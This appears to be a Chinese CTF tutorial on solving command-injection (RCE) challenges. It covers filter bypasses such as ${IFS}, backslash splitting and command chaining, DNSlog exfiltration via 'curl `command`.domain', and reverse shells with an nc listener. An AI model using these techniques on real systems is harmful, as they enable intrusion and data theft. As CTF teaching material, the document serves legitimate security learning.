在ctf中rce是经常出现的一类题目。根据题目类型我总结了两种情况,有回显的rce和无回显的rce

根据信息猜测使用的函数

原因:

导致rce的原因是由于使用了exec,shell_exec,system等危险函数,并且没有对输入的数据进行处理。

为什么要分辨这些函数呢。因为每个函数的返回值不同,当我们能够判断函数使用的哪一种时,可以帮助我们快速确定解题思路。
比如使用了system函数(执⾏外部命令,并将输出直接发送到标准输出),我们可以确定这题是有返回值的,我们输入的命令没有显示,那我们就可以确定过滤了哪些参数。
使用了exec函数(执行命令,但是无返回值),我们就可以去尝试dnslog数据外带,或者反弹shell等。

有回显的rce

对于这一类,核心还是可以看作cat /flag.然后我们需要思考的就两个问题:flag的路径绕过

flag的路径

我们需要去使猜解或者推理flag的路径:

cat flag 或者 cat /flag

这样的我们有时候可以使用通配符去解题,比如cat f*或者cat /f*

绕过

除了知道flag的路径外,题目还会去过滤关键字,比如禁用cat,flag等字符。
这个时候我们就需要去替换cat指令,或者使用编码去绕过
除了开头常见的几个,还可以用其他命令

1
2
3
4
5
6
7
8
9
10
11
12
curl,Find,Cat,find
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
sort:可以查看
ls:查看目录
dir:查看目录

有的题目还需要过滤空格:

1
2
3
%09
%20
${IFS}

用的题目还会使用跨行符:

1
\:  例:ca\t f\lag

管道符绕过:

1
2
1|2    :当命令1错误执行2
&,||,&&,;

关于绕过,还有很多种情况,这个需要自己多做题,多总结。

无回显rce

关于无回显rce一般有三种情况,重定向,dnslog数据外带,反弹shell。

重定向

第一种就是重定向,将我们需要的内容重定向后就可以访问了。使用tee,>等。在nssctf中,可以拿这道提题进行尝试。重定向有wp
在这里插入图片描述

dnslog数据外带

原因:

在我们访问域名时,首先需要使用dns服务器将域名解析为IP地址,而在dns解析时会有日志保留。
我们需要做的就是使用一个特殊的域名,他的dns服务器是唯一的,在访问时dns数据保存在这个服务器上,而我们就只需要读取这个日志就可以了。

ceye.io这个网站就可以提供一个域名,注册可以直接使用。
还是上面那道题,由于它没有过滤curl命令,我们可以尝试dnslog数据外带,
用法:curl `命令`.域名(ceye.io提供的域名)
在这里插入图片描述
然后我们就可以在ceye.io上看到结果:
在这里插入图片描述
缺点:输出的数据只有一行,可能读不到完整数据,不过一般ctf的题目不会。

反弹shell

我们使目标主机主动连接我们的主机。
使用场景,在我们连接目标主机不稳定时,或者无法连接目标,但是又存在rce时。

1.这类我们需要有一个公网IP
2.然后将能够使目标主机连接我们的命令传入
3.同时监听我们的服务器就可以了。

关于监听自己服务器,可以使用nc:

nc -lvnp 9000(端口号)

然后对于传入目标服务器的命令,我们可以使用在线shell生成工具:
https://www.ddosi.org/shell/
这类工具在浏览器上直接搜反弹shell在线工具,就可以看到很多。然后设置好端口就可以生成各种命令了,根据目标服务器的配置选择就好了。可以看到左下方有很多种连接方式。
在这里插入图片描述